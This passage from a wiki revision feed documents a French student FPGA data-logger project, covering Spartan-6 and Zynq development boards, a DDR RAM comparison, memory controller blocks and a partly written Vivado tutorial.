C'est une plate-forme de développement d'usage général. Celle-ci intègre un port HDMI, plusieurs ports USB dont un pour la programmation, plusieurs switch, plusieurs boutons poussoirs, un slot pour carte SD et surtout 512Mb de DDR3. Cette carte possède comme autre avantage qu'elle peut booter sur un linux via la carte SD. Ainsi, on peut se connecter en SSH/SCP sur la machine et interagir, émettre et recevoir des données en grande quantité. Je pense que le ZYNQ 7000 est un FPGA très avantageux pour faire du système embarqué.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
*[http://digilentinc.com/Products/Detail.cfm?NavPath=2,400,1198&amp;amp;Prod=ZYBO Diligent ZYBO Zynq-7000] (fourni le 26 novembre 2015)&lt;br /&gt;
&lt;br /&gt;
====LX9 MicroBoard====&lt;br /&gt;
[[Fichier:LX9.jpg|300px|thumb|right|AVNET LX9 MicroBoard]]&lt;br /&gt;
*Plateforme Xilinx Spartan-6 FPGA LX9 MicroBoard (ressource personnel)&lt;br /&gt;
C'est une plate-forme de développement à faible coût qui permet de travailler avec un SPARTAN 6  et MicroBlaze. Elle possède plusieurs entrées sorties (moins que la TE0600), des leds, un interrupteur et 4 switch très fragiles et un port Ethernet. Cette board vient de mes ressources personnelles mais le modèle étant simple et assez répandu, on trouve beaucoup de tutoriel explicatif sur internet.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Etude de la problématique===&lt;br /&gt;
====Étude pour l'ajout de RAM====&lt;br /&gt;
Je m'interroge sur les différentes technologies de RAM, en cherchant sur le net, on trouve des comparatifs et de brefs historiques. En voici des extraits:&amp;lt;br&amp;gt;&lt;br /&gt;
'''Historique:''' &amp;lt;br&amp;gt; &lt;br /&gt;
 [[Fichier:DDR.jpg|200px|thumb|right|Différents types de barrette de RAM]]&lt;br /&gt;
&amp;lt;span style=&amp;quot;color: grey;&amp;quot;&amp;gt;Double Data Rate (DDR) SDRAM starts making name in computer market around 2002 and is evolved from SDR (Single Data Rate) SDRAM. The slight difference between DDR and SDR is that DDR reads data on both the rising and falling edges of the clock signal, enabling a DDR memory module to transfer data twice faster as an SDR memory module.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span style=&amp;quot;color: grey;&amp;quot;&amp;gt;After 2 years DDR made name in the market, DDR2 appears in mid-2004. DDR2 achieves a better speed than  DDR in providing bandwidth up to 8.5 GB per second. The best thing about DDR2 is that theDDR2 based systems can use memory installed in pairs to run in &amp;quot;dual channel mode&amp;quot; to increase memory throughput even further.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span style=&amp;quot;color: grey;&amp;quot;&amp;gt;Nowadays, DDR3 takes place of DDR2 in the computer market. DDR3 is believed to consume less power because it operates at lower voltages and can transfer data at rates up to 12.8 GB per second which is 4.3 GB per second faster than DDR2. DDR3 based systems can address memory modules in banks of 1, 2 or 3. &lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable alternance centre&amp;quot;&lt;br /&gt;
 |+ Comparatif des performances de DDR* RAM&lt;br /&gt;
 |-&lt;br /&gt;
 |&lt;br /&gt;
 ! scope=&amp;quot;col&amp;quot; | DDR1 RAM&lt;br /&gt;
 ! scope=&amp;quot;col&amp;quot; | DDR2 RAM&lt;br /&gt;
 ! scope=&amp;quot;col&amp;quot; | DDR3 RAM&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Nombre de pins&lt;br /&gt;
 | 184&lt;br /&gt;
 | 240&lt;br /&gt;
 | 240&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Vitesse d'horloge&lt;br /&gt;
 | 100 MHz à 200 MHz&lt;br /&gt;
 | 100 MHz à 266 MHz&lt;br /&gt;
 | 100 MHz à 300 MHz&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Taux maximum de tranfers&lt;br /&gt;
 | 200 MT/s à 400 MT/s&lt;br /&gt;
 | 400 MT/s à 1066 MT/s&lt;br /&gt;
 | 800 MT/s à 2400 MT/s&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Tension d'alimentation&lt;br /&gt;
 | 2.5 V&lt;br /&gt;
 | 1.8 V&lt;br /&gt;
 | 1.5 V&lt;br /&gt;
 |}&lt;br /&gt;
&lt;br /&gt;
====IP pour SDRRAM====&lt;br /&gt;
 [[Fichier:Sram.jpg|200px|thumb|right|Schéma fonctionnel du driver pour DDR RAM]]&lt;br /&gt;
*Étude de l'IP pour l'adressage RAM&lt;br /&gt;
On trouve plusieurs Ip pour adresser des mots mémoires à la carte RAM:&lt;br /&gt;
**[http://opencores.org/project,sdr_ctrl opencore]&lt;br /&gt;
**Schéma fonctionnel: &lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Il semble que le Spartan 6 possède des Memory Controller Blocks (MCBs) qui sont spécialement conçu pour adresser des DRAM (DDR, DDR2 et DDR3). Les MCBs ont une vitesse d'accès supérieur à 800 Mbit/s selon la datasheet du Spartan 6. On peut utiliser l'outil Memory Interface Generator (MIG) qui est disponible dans l'outil CORE Generator de ISE.&lt;br /&gt;
&lt;br /&gt;
====Etude  des Memory Controller Blocks==== &lt;br /&gt;
[[Fichier:MCB.png|400px|thumb|right|Représentation du fonctionnement d'un Memory Controller Block (MCB)]] &lt;br /&gt;
Il y a trois fonctions principales du point de vue de l'utilisateur:&lt;br /&gt;
*Lire le port (unidirectionnel)&lt;br /&gt;
*Écrire sur le port (unidirectionnel) &lt;br /&gt;
*Lire et écrire sur le port (bi directionnel)&lt;br /&gt;
On peut voir la représentation du fonctionnement d'un Memory Controller Block (MCB)plusieurs blocks que l'on définit ainsi:&lt;br /&gt;
*Arbiter ou arbitre:&lt;br /&gt;
Il détermine quel port à la priorité pour accéder à la mémoire physique.&lt;br /&gt;
*Controller ou contrôleur:&lt;br /&gt;
Block de contrôle primaire qui convertit de simples requêtes utilisateur en de plus complexes instructions et séquences pour commmuniquer avec la mémoire.&lt;br /&gt;
*Datapath&lt;br /&gt;
Ce block porte le flux de données écrite et lue entre la mémoire physique et l'utilisateur.&lt;br /&gt;
*Physical Interface (PHY) ou  interface physique:&lt;br /&gt;
Convertit les instructions du contrôleur en des relations temporelles et signaux adapté à la mémoire DDR pour communiquer avec elle.&lt;br /&gt;
*Calibration Logic:&lt;br /&gt;
Clalibre l'interface physique (PHY) pour avoir le meilleur rendement.&lt;br /&gt;
&lt;br /&gt;
===Proposition de solutions et argumentaire===&lt;br /&gt;
====Récuperation et affichage des données avec la pateforme ZYBO====&lt;br /&gt;
Voici une liste de matériel pour réaliser cette solution:&lt;br /&gt;
*Plateforme ZYBO&lt;br /&gt;
*Alimentation 5V 3A&lt;br /&gt;
*Carte microSD 4Gb (2Gb minimum)&lt;br /&gt;
*Cable RJ45 &lt;br /&gt;
*Linux type Debian &amp;lt;br&amp;gt;&lt;br /&gt;
Voici les différentes étapes à réaliser pour récupérer et afficher les données venant des GPIOs:&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=====Téléchargement et installation=====&lt;br /&gt;
a°)Telecharger et installer Vivado WebPack de la version la plus récente. [http://www.xilinx.com/support/download.html (Xilinx)] &amp;lt;br&amp;gt;&lt;br /&gt;
b°)Télecharger depuis [https://reference.digilentinc.com/zybo:zybo Zybo Resource Center] le fichier zybo_base_system.zip. &amp;lt;br&amp;gt;&lt;br /&gt;
c°)Télecharger depuis ce [https://github.com/Digilent/vivado-boards/archive/master.zip lien] les ZYBO board files et placer le dossier source /new/zybo/ dans C:\Xilinx\Vivado\2015.4\data\boards\board_files &amp;lt;br&amp;gt;&lt;br /&gt;
d°)Télecharger les fichiers [http://xillybus.com/downloads/xillinux-eval-zybo-1.3c.zip xillinux-eval-zybo-1.3c.zip] et n'en extraire que le dossier bootfiles dans le dossier de travail&amp;lt;br&amp;gt;&lt;br /&gt;
e°)Télecharger le fichier [http://xillybus.com/downloads/xillinux-1.3.img.gz xillinux-1.3.img.gz] et extraire son contenu dans le dossier de travail&amp;lt;br&amp;gt;&lt;br /&gt;
=====Création d'une carte bootable sur ZYBO=====&lt;br /&gt;
[[Fichier:Tuto1.PNG|100px|thumb|right|g°)]]&lt;br /&gt;
[[Fichier:Tuto2.PNG|100px|thumb|right|h°)]]&lt;br /&gt;
[[Fichier:Tuto3.PNG|100px|thumb|right|j°)]]&lt;br /&gt;
[[Fichier:Tuto4.PNG|100px|thumb|right|l°)]]&lt;br /&gt;
[[Fichier:Tuto5.PNG|100px|thumb|right|l°)]]&lt;br /&gt;
[[Fichier:Tuto6.PNG|100px|thumb|right|l°)]]&lt;br /&gt;
Dans la suite du tutoriel, je vais présenter comment obtenir le fichier .bit qui permet d'obtenir un accès aux différents ports du FPGA comme les switches, les leds, le HDMI etc. Si vous voulez prendre un fichier tout fait, je vous propose le mien qui est déjà compilé et fonctionnel. On le trouvera dans ce [[fichier: Pack_bit.zip | fichier .zip]] avec un imprim'écran qui montre les registres lié aux différentes interfaces. Ce fichier image est très important pour la partie &amp;quot;récupération&amp;quot; des données. Si vous utilisez ce fichier .zip, sautez directement au point .&amp;lt;br&amp;gt;&lt;br /&gt;
f°)Ouvrir avec le logiciel Vivado zybo_base_system\source\vivado\hw\zybo_bsd\zybo_bsd.xpr &amp;lt;br&amp;gt;&lt;br /&gt;
g°)Sur la gauche de l'écran, sous IP integrator, choisir Open Block Design &amp;lt;br&amp;gt;&lt;br /&gt;
h°)Supprimer l'IP pour adresser les LEDS &amp;lt;br&amp;gt;&lt;br /&gt;
i°)On va créer un nouvel IP, tool-&amp;gt;Create and Package IP...; next; name-&amp;gt; myLed; next &amp;lt;br&amp;gt;&lt;br /&gt;
j°)La fenêtre suivante permet d'ajouter des interfaces. On va créer une interface AX14 pour le peripherique myLed. &lt;br /&gt;
*Interface type -&amp;gt;Lite &lt;br /&gt;
*Mode -&amp;gt;Slave &lt;br /&gt;
*data width -&amp;gt;32 bits &lt;br /&gt;
*number of registers -&amp;gt;4&lt;br /&gt;
*Name-&amp;gt;S00_AXI &amp;lt;br&amp;gt;&lt;br /&gt;
k°)La fenêtre suivante permet de choisir l'option &amp;quot;edit IP&amp;quot;&amp;lt;br&amp;gt;&lt;br /&gt;
l°)Dans le projetct manager, ouvrir &amp;quot;myLed_V1...&amp;quot; et ajouter à la ligne 18 :&lt;br /&gt;
{| width=10% &lt;br /&gt;
|&amp;lt;pre&amp;gt;output wire [3:0] led, &amp;lt;/pre&amp;gt;&lt;br /&gt;
|} &lt;br /&gt;
et à la ligne 400 : &lt;br /&gt;
{| width=10% &lt;br /&gt;
|&amp;lt;pre&amp;gt; assign led=slv_reg0[3:0];&amp;lt;/pre&amp;gt;&lt;br /&gt;
|} &lt;br /&gt;
m°)&amp;lt;br&amp;gt;&lt;br /&gt;
n°)&amp;lt;br&amp;gt;&lt;br /&gt;
o°)&amp;lt;br&amp;gt;&lt;br /&gt;
p°)&amp;lt;br&amp;gt;&lt;br /&gt;
q°)&amp;lt;br&amp;gt;&lt;br /&gt;
r°)&amp;lt;br&amp;gt;&lt;br /&gt;
s°)&amp;lt;br&amp;gt;&lt;br /&gt;
t°)&amp;lt;br&amp;gt;&lt;br /&gt;
u°)&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Fichiers supplémentaires==&lt;br /&gt;
[[Fichier:DDR connecteur datasheet.png|300px|thumb|right|]]&lt;br /&gt;
*Empreinte sous Altium Designer pour le connecteur DDR1&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Shopping==&lt;br /&gt;
*[http://www.mouser.fr/ProductDetail/FCI/10081530-12207LF/?qs=sGAEpiMZZMu51HMau1GEUGmiHfa8/gTAo1M2%252bNESSU0%3d Connecteur DDR3] 1.5€ ([http://portal.fciconnect.com/Comergent/en/US/adirect/fci;jsessionid=FEFFAFAD5839598353F129F4194CC82E?cmd=catProductDetail&amp;amp;entryPoint=adirect&amp;amp;messageType=catProductDetail&amp;amp;showAddButton=true&amp;amp;productID=1008153012207LF datasheet])&lt;br /&gt;
*[http://www.mouser.fr/ProductDetail/FCI/10005639-11109LF/?qs=sGAEpiMZZMu51HMau1GEUBTEbqSTMcBDcRDLdGvDZHE%3d Connecteur DDR2] 2€ ([http://www.mouser.com/ds/2/154/gs-12-251-532922.pdf datasheet])&lt;br /&gt;
*[http://www.mouser.fr/ProductDetail/TE-Connectivity-AMP/5390241-4/?qs=sGAEpiMZZMu51HMau1GEUC3LrSDvJPJ82YYPKc6FyEY%3d Connecteur DDR1] 4.5€ ([http://www.mouser.com/ds/2/418/NG_CD_5390241_E-668131.pdf datasheet])&lt;br /&gt;
*Recuperation de DDR1 au service informatique de Polytech&lt;br /&gt;
&lt;br /&gt;
==Sources==&lt;br /&gt;
[http://www.trenz-electronic.de/download/d0/Trenz_Electronic/d1/TE0600-GigaBee_series/d2/TE0603.html Fiche commerciale TE0600] &amp;lt;br&amp;gt;&lt;br /&gt;
[http://www.fpga4fun.com/FPGAinfo1.html FPGA généralité]&amp;lt;br&amp;gt;&lt;br /&gt;
[http://www.xilinx.com/support/documentation/user_guides/ug388.pdf Guide Xilinx pour le design avec les MCB (Chapitre 3) ] &amp;lt;br&amp;gt;&lt;br /&gt;
[http://www.xilinx.com/support/documentation/ip_documentation/mig/v3_92/ug416.pdf Guide Xilinx pour le design avec l'outil MIG (page 9)]&amp;lt;br&amp;gt;&lt;br /&gt;
[http://claude.lahache.free.fr/mapage2/lignes.pdf Cours sur les lignes de propagations]&amp;lt;br&amp;gt;&lt;br /&gt;
[http://hallofitmage.blogspot.fr/2012/03/difference-between-ddr-ddr2-and-ddr3.html Frautte Nihilus] &amp;lt;br&amp;gt;[https://en.wikipedia.org/wiki/DIMM Wikipédia DIMM]&amp;lt;br&amp;gt;&lt;/div&gt;</summary>
		<author><name>Avinot</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=P2_Data_Logger&amp;diff=27518</id>
		<title>P2 Data Logger</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=P2_Data_Logger&amp;diff=27518"/>
				<updated>2016-02-22T09:18:36Z</updated>
		
		<summary type="html">&lt;p&gt;Avinot : /* LX9 MicroBoard */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;==Cahier des charges==&lt;br /&gt;
===Présentation générale du projet=== &lt;br /&gt;
====Dénomination du sujet par les enseignants====&lt;br /&gt;
{|class=&amp;quot;wikitable centre&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
! scope=&amp;quot;col&amp;quot; |Objectif&lt;br /&gt;
| Réaliser une plate-forme de mesure de la consommation d'équipement électroniques &lt;br /&gt;
|-&lt;br /&gt;
! scope=&amp;quot;col&amp;quot;|Description&lt;br /&gt;
|La consommation des équipements électroniques est devenue un enjeu majeur puisque les équipements sont très souvent utilisés en situation de mobilité. La réduction de la consommation passe par la compréhension des sources de consommation que ce soit par le logiciel ou par le matériel.&lt;br /&gt;
&lt;br /&gt;
Afin de comprendre les mécanismes de consommation, il est nécessaire de pouvoir mesurer le courant des différents composants d'un système. Dans ce projet, nous proposons la réalisation d'une plate-forme permettant la mesure de courant.&lt;br /&gt;
&lt;br /&gt;
Cette plate-forme devra être ouverte et facilement reconfigurable (ajout / retrait de voies de mesures, filtrage des mesures, ...)&lt;br /&gt;
&lt;br /&gt;
La plate-forme sera constituée de :&lt;br /&gt;
*Un FPGA permettant de contrôler le système,&lt;br /&gt;
*Des voies de mesures de courant embarquant un capteur et un convertisseur analogique / numérique,&lt;br /&gt;
*Une mémoire RAM de stockage des données,&lt;br /&gt;
*Une interface permettant de gérer la plate-forme et de récupérer les données.&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
====Contexte====&lt;br /&gt;
Dans le cadre d'une réalisation de projet de fin d'étude, on se propose de réaliser un &amp;quot;data logger&amp;quot;. Durant les semaines à venir, je vais travailler sur un dispositif qui stockera des données numériques envoyé depuis un convertisseur analogique numérique dans une barrette de RAM avant de les rendre accessible par une liaison RS232. Le but de se projet est de compléter le panel de technologie disponible pour un laboratoire qui possède une...&lt;br /&gt;
&lt;br /&gt;
====Objectif du projet====&lt;br /&gt;
*stocker en RAM une série de donnée le plus rapidement possible&lt;br /&gt;
*construire interface permettant de recuperer les infomations via un RJ45 protocole Ethernet&lt;br /&gt;
*rendre modulaire le code en permettant de modifier facilement de la taille des mots d'entrée (passer de 8 bits à 10 puis 16 ...)&lt;br /&gt;
*rendre modulaire le code en permettant d'ajouter un fréquencemètre &lt;br /&gt;
*développer une carte support pour le LX45 maitriser les temps de propagations des signaux sur le typon, en direction de la barrette de RAM&lt;br /&gt;
&lt;br /&gt;
===Étapes du projet===&lt;br /&gt;
Le projet va se dérouler en plusieurs étapes.&amp;lt;br&amp;gt;&lt;br /&gt;
1)Etude des plates-formes de programmation&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
2)Etude de la problématique&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
3)Proposition de solutions et argumentaire&lt;br /&gt;
&lt;br /&gt;
===Choix techniques : matériel, logiciels, sources===&lt;br /&gt;
*[http://www.opencores.org OPENCORES.ORG]&lt;br /&gt;
*[http://www.ztex.de/usb-fpga-1/usb-fpga-1.15.e.html Caracteristiques du LX45]&lt;br /&gt;
*[http://www.xilinx.com/itp/xilinx10/isehelp/ise_c_overview.htm Logiciel XILINX ISE ] (overview)&lt;br /&gt;
&lt;br /&gt;
==Suivi des étapes du Projet==&lt;br /&gt;
===Etude des plates-formes de programmation===&lt;br /&gt;
====TE0600 &amp;amp; TE0603====&lt;br /&gt;
La board que m'ont fournie les encadrants se compose se compose d'une carte mère et d'une carte support. La carte mère, nommé TE0600 est composé d'un FPGA Xilinx SPARTAN 6 LX45. C'est le &amp;quot;cerveau&amp;quot; du projet qui vient se brancher sur une carte support qui me servira au développement (programmation, IOs, carte mémoire, alimentation, Ethernet...). Celle ci se nomme TE0603. Elles seront indissociable pendant toute la période de développement. &lt;br /&gt;
*[http://www.trenz-electronic.de/de/produkte/fpga-boards/trenz-electronic/te0600.html SPARTAN 6 lx45 chez TRENZ Electronic TE0603 et TE0600 (fourni le 10 octobre 2015)]&amp;lt;br&amp;gt;&lt;br /&gt;
*[http://www.trenz-electronic.de/fileadmin/docs/Trenz_Electronic/TE0600-GigaBee_series/TE0600/documents/UM-TE0600-02.pdf Datasheet]&amp;lt;br&amp;gt;&lt;br /&gt;
=====Caracteristiques SPARTAN 6 XILINX LX45=====&lt;br /&gt;
[[Fichier:Spartan6_logo.jpg|200px|thumb|right|SPARTAN 6 LX45]]&lt;br /&gt;
'''General'''&lt;br /&gt;
*consommation: 0.6A&lt;br /&gt;
*45nm low power process technology with 6-input LUTs&lt;br /&gt;
*1080MHz clock management tiles (2 DCM + 1 PLL) &lt;br /&gt;
*320MHz Block RAM from 216 - 4824 Kbits&lt;br /&gt;
*Memory interface controllers blocks from 0 - 4&lt;br /&gt;
*1.08Gbps SelectIO™ technology &lt;br /&gt;
*390MHz DSP48A1 slices from 8 - 180 &lt;br /&gt;
*Embedded processing &amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Pour plus de détails:&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:Caracteristiques_SPARTAN_6_XILINX_LX45.pdf]]&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
[http://www.xilinx.com/support/documentation/data_sheets/ds160.pdf General Description]&amp;lt;br&amp;gt;&lt;br /&gt;
[http://www.xilinx.com/publications/prod_mktg/Spartan6_Product_Brief.pdf Commerciale presentation]&amp;lt;br&amp;gt;&lt;br /&gt;
[http://www.xilinx.com/support/documentation/data_sheets/ds162.pdf Spartan-6 FPGA Electrical Characteristics]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=====Caractéristiques de TE0600 =====&lt;br /&gt;
[[Fichier:TE0600_photo.jpg|300px|thumb|right|TE0600]]&lt;br /&gt;
[[Fichier:TE0603_photo.jpg|300px|thumb|right|TE0603]]&lt;br /&gt;
[[Fichier:TE0603_Gerber.jpg|300px|thumb|right|Gerber TE0603]]&lt;br /&gt;
Industrial-grade Xilinx Spartan-6 LX FPGA micromodule (LX45 / LX100 / LX150)&lt;br /&gt;
* 10/100/1000 tri-speed Gigabit Ethernet transceiver (PHY)&lt;br /&gt;
* 2 x 16-bit-wide 1 Gb (128 MB) or 4Gb (512 MB) DDR3 SDRAM&lt;br /&gt;
* 128Mb (16 MB) SPI Flash memory (for configuration and operation) accessible through:&lt;br /&gt;
* 1Kb Protected 1-Wire EEPROM with SHA-1 Engine&lt;br /&gt;
* JTAG port (SPI indirect)&lt;br /&gt;
* FPGA configuration through:&lt;br /&gt;
* B2B connector&lt;br /&gt;
* JTAG port&lt;br /&gt;
* SPI Flash memory&lt;br /&gt;
* Plug-on module with 2 × 100-pin high-speed hermaphroditic strips&lt;br /&gt;
* Up to 52 differential, up to 109 single-ended (+ 1 dual-purpose) FPGA I/O pins available on B2B strips&lt;br /&gt;
* 4.0 A x 1.2 V power rail&lt;br /&gt;
* 1.5 A x 1.5 V power rail&lt;br /&gt;
* 125 MHz reference clock signal&lt;br /&gt;
* Single-ended custom oscillator (option)&lt;br /&gt;
* eFUSE bit-stream encryption (LX100 or larger)&lt;br /&gt;
* 1 user LED&lt;br /&gt;
* Evenly-spread supply pins for good signal integrity&lt;br /&gt;
* Other assembly options for cost or performance optimization available upon request.&amp;lt;br&amp;gt;&lt;br /&gt;
[http://www.trenz-electronic.de/fileadmin/docs/Trenz_Electronic/TE0600-GigaBee_series/TE0600/documents/UM-TE0600-02.pdf Datasheet TE0600]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=====Caractéristiques du TE0603=====&lt;br /&gt;
*Board power supply via screw terminals, DC jack&lt;br /&gt;
*JTAG header compatible with Xilinx parallel cable III, IV and USB cable HW-USB&lt;br /&gt;
*Small form factor: 115x70 mm&lt;br /&gt;
*Micro SD connector&lt;br /&gt;
*5 Header connectors with up to 114 user IOs&lt;br /&gt;
*2 Push-buttons for reset and user function&lt;br /&gt;
[http://www.trenz-electronic.de/fileadmin/docs/Trenz_Electronic/TE0600-GigaBee_series/TE0603/documents/UM-TE0603.pdf Datasheet TE0603] &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Étude de la carte TE0603=====&lt;br /&gt;
Je vais travailler avec la carte TE0603 en lui ajoutant une socket support pour ajouter une barrette de RAM. En effet, on peut configurer le FPGA pour que ces LUT se transforment en mémoire volatile. Cependant, la taille de ces mémoire reste limité au maximum à 512Mb configurable en 16 ou 32 bits. Mais le CAN branché en amont du FPGA fonctionne à une fréquence de 50MHz, on se rend vite compte que la mémoire RAM va se saturer même si la vitesse de la transmission en aval par le port Ethernet est élevé. &amp;lt;br&amp;gt;&lt;br /&gt;
On trouve sur le site [http://www.trenz-electronic.de trenz-electronic.de] des fichiers schematic et typon lisible sous Altium de la carte de TE0603. C'est de ce [http://www.trenz-electronic.de/download/d0/Trenz_Electronic/d1/TE0600-GigaBee_series/d2/TE0603/d3/HW_design.html schéma] que je vais démarrer pour réaliser la carte fille RAM. &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
En étudiant de plus près le protocole de lecture et d'écriture, il semble possible de créer une carte fille avec juste le support de la barrette physique de RAM. C'est le FPGA qui va se charger de réaliser le &amp;quot;driver&amp;quot; pour accéder en écriture et en lecture les espaces mémoires.&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Zybo.jpg|300px|thumb|right|ZYBO]]&lt;br /&gt;
====ZYBO====&lt;br /&gt;
C'est une plate-forme de développement d'usage général. Celle-ci intègre un port HDMI, plusieurs ports USB dont un pour la programmation, plusieurs switch, plusieurs boutons poussoirs, un slot pour carte SD et surtout 512Mb de DDR3. Cette carte possède comme autre avantage qu'elle peut booter sur un linux via la carte SD. Ainsi, on peut se connecter en SSH/SCP sur la machine et interagir, émettre et recevoir des données en grande quantité. Je pense que le ZYNQ 7000 est un FPGA très avantageux pour faire du système embarqué.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
*[http://digilentinc.com/Products/Detail.cfm?NavPath=2,400,1198&amp;amp;Prod=ZYBO Diligent ZYBO Zynq-7000] (fourni le 26 novembre 2015)&lt;br /&gt;
&lt;br /&gt;
====LX9 MicroBoard====&lt;br /&gt;
[[Fichier:LX9.jpg|300px|thumb|right|AVNET LX9 MicroBoard]]&lt;br /&gt;
*Plateforme Xilinx Spartan-6 FPGA LX9 MicroBoard (ressource personnel)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Etude de la problématique===&lt;br /&gt;
====Étude pour l'ajout de RAM====&lt;br /&gt;
Je m'interroge sur les différentes technologies de RAM, en cherchant sur le net, on trouve des comparatifs et de brefs historiques. En voici des extraits:&amp;lt;br&amp;gt;&lt;br /&gt;
'''Historique:''' &amp;lt;br&amp;gt; &lt;br /&gt;
 [[Fichier:DDR.jpg|200px|thumb|right|Différents types de barrette de RAM]]&lt;br /&gt;
&amp;lt;span style=&amp;quot;color: grey;&amp;quot;&amp;gt;Double Data Rate (DDR) SDRAM starts making name in computer market around 2002 and is evolved from SDR (Single Data Rate) SDRAM. The slight difference between DDR and SDR is that DDR reads data on both the rising and falling edges of the clock signal, enabling a DDR memory module to transfer data twice faster as an SDR memory module.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span style=&amp;quot;color: grey;&amp;quot;&amp;gt;After 2 years DDR made name in the market, DDR2 appears in mid-2004. DDR2 achieves a better speed than  DDR in providing bandwidth up to 8.5 GB per second. The best thing about DDR2 is that theDDR2 based systems can use memory installed in pairs to run in &amp;quot;dual channel mode&amp;quot; to increase memory throughput even further.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span style=&amp;quot;color: grey;&amp;quot;&amp;gt;Nowadays, DDR3 takes place of DDR2 in the computer market. DDR3 is believed to consume less power because it operates at lower voltages and can transfer data at rates up to 12.8 GB per second which is 4.3 GB per second faster than DDR2. DDR3 based systems can address memory modules in banks of 1, 2 or 3. &lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable alternance centre&amp;quot;&lt;br /&gt;
 |+ Comparatif des performances de DDR* RAM&lt;br /&gt;
 |-&lt;br /&gt;
 |&lt;br /&gt;
 ! scope=&amp;quot;col&amp;quot; | DDR1 RAM&lt;br /&gt;
 ! scope=&amp;quot;col&amp;quot; | DDR2 RAM&lt;br /&gt;
 ! scope=&amp;quot;col&amp;quot; | DDR3 RAM&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Nombre de pins&lt;br /&gt;
 | 184&lt;br /&gt;
 | 240&lt;br /&gt;
 | 240&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Vitesse d'horloge&lt;br /&gt;
 | 100 MHz à 200 MHz&lt;br /&gt;
 | 100 MHz à 266 MHz&lt;br /&gt;
 | 100 MHz à 300 MHz&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Taux maximum de tranfers&lt;br /&gt;
 | 200 MT/s à 400 MT/s&lt;br /&gt;
 | 400 MT/s à 1066 MT/s&lt;br /&gt;
 | 800 MT/s à 2400 MT/s&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Tension d'alimentation&lt;br /&gt;
 | 2.5 V&lt;br /&gt;
 | 1.8 V&lt;br /&gt;
 | 1.5 V&lt;br /&gt;
 |}&lt;br /&gt;
&lt;br /&gt;
====IP pour SDRRAM====&lt;br /&gt;
 [[Fichier:Sram.jpg|200px|thumb|right|Schéma fonctionnel du driver pour DDR RAM]]&lt;br /&gt;
*Étude de l'IP pour l'adressage RAM&lt;br /&gt;
On trouve plusieurs Ip pour adresser des mots mémoires à la carte RAM:&lt;br /&gt;
**[http://opencores.org/project,sdr_ctrl opencore]&lt;br /&gt;
**Schéma fonctionnel: &lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
